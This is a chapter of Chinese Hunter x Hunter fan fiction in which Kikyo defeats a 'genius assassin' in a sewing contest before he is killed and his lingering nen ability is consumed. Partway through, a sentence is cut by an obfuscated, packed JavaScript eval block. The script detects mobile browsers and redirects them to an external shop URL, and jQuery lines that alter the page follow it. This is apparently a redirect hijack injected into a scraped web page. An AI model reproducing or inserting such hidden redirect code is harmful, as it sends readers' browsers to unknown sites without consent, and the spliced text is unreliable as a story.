天才杀手现在很憋屈,他有点想不通。
谁承想,一个久负盛名的杀手家族的当家主母最擅长的事情竟然不是杀人而是缝纫?
当基裘意识到自己无法攻击到敌人时,她就明白了现状——不妙啊,在未知的地方与能力不明的敌人周旋,拖得越久对她越不利。
但情况使然,当天才杀手提出要在基裘最擅长的领域和她一决胜负时,基裘不得不应战。
“最擅长?”基裘眼波一转,纯黑的眸子里闪过了一抹亮光,有些怀念道:“那当然是缝纫了。”
闻言,正在暗地里使小动作的天才杀手顿住了,脸皮抽动着把手中所剩无几的粉末重新包好。
基裘的回答太出乎他的意料了,手上一个突然停住的大动作导致天才导师损失惨重。
没事的,等离开枯枯戮山后再去黑市多补充点就好了……天才导师这样想着,却还是用怨毒的眼神盯着基裘。
基裘笑而不语,对天才杀手拙劣的动作她选择不做评价。
很少有人知道,她在嫁给席巴之前其实就能够做到毒免疫了。
阿拉拉,下个毒都这么费劲,他真的能教好学生吗?基裘轻轻地叹了一口气,为揍敌客的未来感到忧心。
嗯,决定了,事后让被天才杀手带过的学生都回炉重造一遍吧,至少也要再重新参与一次见习考试才能让人安心呐。
基裘一边分神想着后续的安排,一边不动声色地发动了念能力。
看不见的角落里,有黑影蠕动了几下,好像只是确认了下什么,就又一动不动了,好似前面的动静只是一场从未发生过的幻像。
压抑住心中的暴虐,不知道又想到了什么的天才杀手露出了不怀好意的笑容,幸灾乐祸道:“嗯,缝纫就缝纫吧,刚好这里有些布料,让我找找……啊,在这儿。”
天才杀手不知道从哪儿抱出一箱布匹,木箱上雕刻了别致的纹路样式,对此恰好有所了解的基裘看见后有些惊讶地挑了挑眉。
这是一个已经被卡金帝国吞并了的小国的传统纹样,常用于祭礼、婚嫁、拜师等重大礼仪活动,自从小国消亡后已经很少能见到了。
不过,也不奇怪。
虽然她觉得天才杀手名不副实,但他进枯枯戮山之前是实打实的收了不少负有天才之名的学生,估计收了不少拜师礼。
基裘接过盛放布匹的木箱,她举止得体、笑容优雅,仍谁都不会想到这位看似无害的美丽女子刚刚借着箱子的掩饰又一次出手尝试了。
没有得手,基裘并没有露出遗憾的表情,她将什么都没有察觉到的天才杀手抛在一边,开始检查布匹的状态。
木箱上的纹路深浅不一,交错排布,明明是极易积灰的饰物她却能窥见其泛着的独属于木料的莹润光泽,这说明有人会经常细心打理。
基裘用余光扫视了一眼瘫在地上一动不动的导师A,意味不明的轻哼一声。
揭开盖子,风裹着一股被时光沉淀过的气味四散开来,天才导师有些嫌弃的用手在鼻前扇动,基裘低垂着眼睛轻抚布料,随后又捻起一角揉动布料认真地感受着布料和手指亲密接触的手感。
一匹、两匹……直至压在箱底的最后一匹布料,确认无误后基裘拍了拍手抖落指间细小的尘屑,眉眼间是难得的轻快:“布料的质量不错,除了颜色有些过时之外没有什么大问题,开始吧。”
天才杀手脸上的笑容越发扭曲,迫不及待道:“那就开始咯。”
他已经快等不及了,快变得绝望吧~到时候她会手抖的连针都捏不起来吗?真令人期待啊,虽然是意外,但这种剂量还是第一次,谁让她倒霉呢。
地上半合着眼皮的导师A在布料的撕裂声中挪动了一下手指,然后就又没了动静,死气沉沉地仰面躺在地上,像坠入了一场梦魇之中,无法清醒过来。
————
席巴闯入后瞪视天才杀手,被充满杀气的眼神刺到的天才杀手才突然惊觉并清醒过来:他刚刚到底在干什么,他怎么真的缝起了裙子?
把手上勉强能看出来是布制品的四不像甩在地上,天才杀手面色惨白,神情有些恍惚。
“不对、这不对!”天才杀手一个不注意一脚踏在自己的大作上,脚下一踉跄,差点摔倒。
他稳住身形后抬头死死盯住在基裘手指翻飞之下已经能看出华丽雏形的精美公主裙,脚下打着绊子就尖叫着冲了过去:
“你为什么还能缝出裙子?为什么!”
还没等他靠近,席巴一个凌厉的眼神就撇了过来,一脚就踹向了他。
恰巧这时,基裘将多余的线头缠绕在手指上,“啪”的一声脆响传出后,线头断了。
裙子完成了。
空间中的桎梏消失了,席巴没有收力的一脚就这样结结实实地踹在了天才杀手身上,他身上的骨头劈里啪啦作响,像一串鞭炮。
人落在地上,一个遍布蛛丝网状裂纹的深坑就这样出现了。
天才导师的瞳孔扩散,出气多进气少,吭哧吭哧的朝外吐着内脏碎片,显然已经没救了。
他的头镶在了地里,被头固定住了的眼睛只能看向一个方向,视野的尽头就是导师A被外力摆动后正好歪斜着的头。
他觉得他在看他。
但怎么可能啊……被他的念能力影响的人怎么可能还清醒着……
基裘……她难道从来都没有被否定过吗?为什么……
没等天才杀手想明白,他就没气了。
“门”外的霁有些讶异:“他就这么死了?也太随意了吧。”
林霁点头,一脸怒其不争:至少要过上3招吧,他作为炮灰的尊严呢?白瞎了那么响亮的名头了。
伊尔迷摆弄着管家送过来的全新通讯器,心不在焉道:“没有另一个人的念能力困住妈妈的话,他死得更快。”
像看了一篇烂尾故事一样,霁有些闷闷不乐:“什么嘛,这家伙后面看上去像疯了一样。”
“确实。”伊尔迷赞许地看了霁一眼,说出了他的推测:“他的念能力估计是通过借助某种载体影响大脑中控制情绪的区域从而达成控制人的目的。”
食指指尖点着太阳穴,修剪得恰到好处的指甲抵住要害的感觉刺激着他的感官,伊尔迷从远端看着天才杀手的尸体露出了略带轻蔑的笑容。
“使用念能力需要强大的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020502|186767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意志与信念,脑袋里空空如也的家伙迟早会被反噬的。”
霁似懂非懂的噢了一声,又朝“门”里看去,结果刚好看到了基裘突然发疯双手捂脸,席巴即时制住基裘的动作,单手将基裘的两只手腕一起圈住。
席巴的动作看似干净利落,但从青筋暴起的手背可以知道他并没有表面那么轻松。
蠕动的布条从四面八方涌来,想要将活物全部裹住,无奈之下,席巴只能用空闲的手使巧劲把基裘小心地捏晕。
主人已经晕厥了,被覆上念的布还在不甘的抽动,由此可知席巴对情况判断的精准。
席巴抱起基裘,基裘的脸倚在他坚实的胸膛上,黑色的长发顺着坚硬的肌肉纹理滑落,柔软顺滑。
低着头看着的席巴脸上闪过一抹难掩的担心,放松身体企图让基裘靠得更舒服些。
“门”还在原处,席巴离开前还没有忘记导师A,随意拎着把导师A裹成木乃伊的布条,一个屈膝蓄力起跳就跳出了“门”。
被布条裹住口鼻的导师A应该是被捂晕了,被席巴带离后念能力构造出来的空间开始消失,“门”也随之缓缓闭合,不多时就变成了一道坠在小木门底部正常大小的影子。
霁弯腰拿起了小木门,“吱呀”一声,通向导师A念能力空间的门彻底闭上了。
——念能力空间内——
天才杀手的眼睛睁得很大,眼球仿佛快要跳出眼眶,红血丝簇拥着无神的瞳仁,里面孕育着不甘死去的气。
【我是在忮忌和不甘中觉醒的念能力】
【在一次次捏碎他人的天赋之后,我不再产生忮忌和不甘了】
【我迷恋上了践踏天才的快感】
【我迷失了】
【我中了自己的念能力】
【直到死亡我也没有重新生出像以前一样浓稠的情绪了】
【我死了,但我的念能力还想“活着”】
【……】
最后一丝可有可无的灵魂被快速滋生的气从躯壳中挤走,他彻彻底底的死去了。
一股比以往更加强大、更加邪恶的念诞生了。
念化身藤蔓,以前宿体的尸骸为养料开始进食。
伴随着“咯吱咯吱”的声响,地上的尸体只剩下被风吹走的皮屑侥幸逃离了。
饱餐一顿后的念正想舒展身体,顺便把地盘占了,没想到这时地上荡起一圈波纹,一股吸力把他拽入了地下——念能力空间的隐藏区域。
里面重重叠叠地堆满了皑皑白骨,洁白的骨头上缠绕着粗细不一的黑色藤蔓,乍一看竟和念的化身如出一辙。
念认出来了,这里的人全是被它杀死的,它高兴坏了。
是食物。
可是没等它凑上去,骨头上的藤蔓率先动了。
它们冲着念快速攀爬,宛如一条条灵活的毒蛇,死死的束缚住了念。
初生灵智的念还搞不清楚状况,就这样被分食了。
它无声地惨叫着,最终迎来了消亡。
至此,天才杀手才真的死了。
解决掉念的藤蔓慢吞吞地挪回原处,在无人知晓的角落里净化着导师A的念能力空间。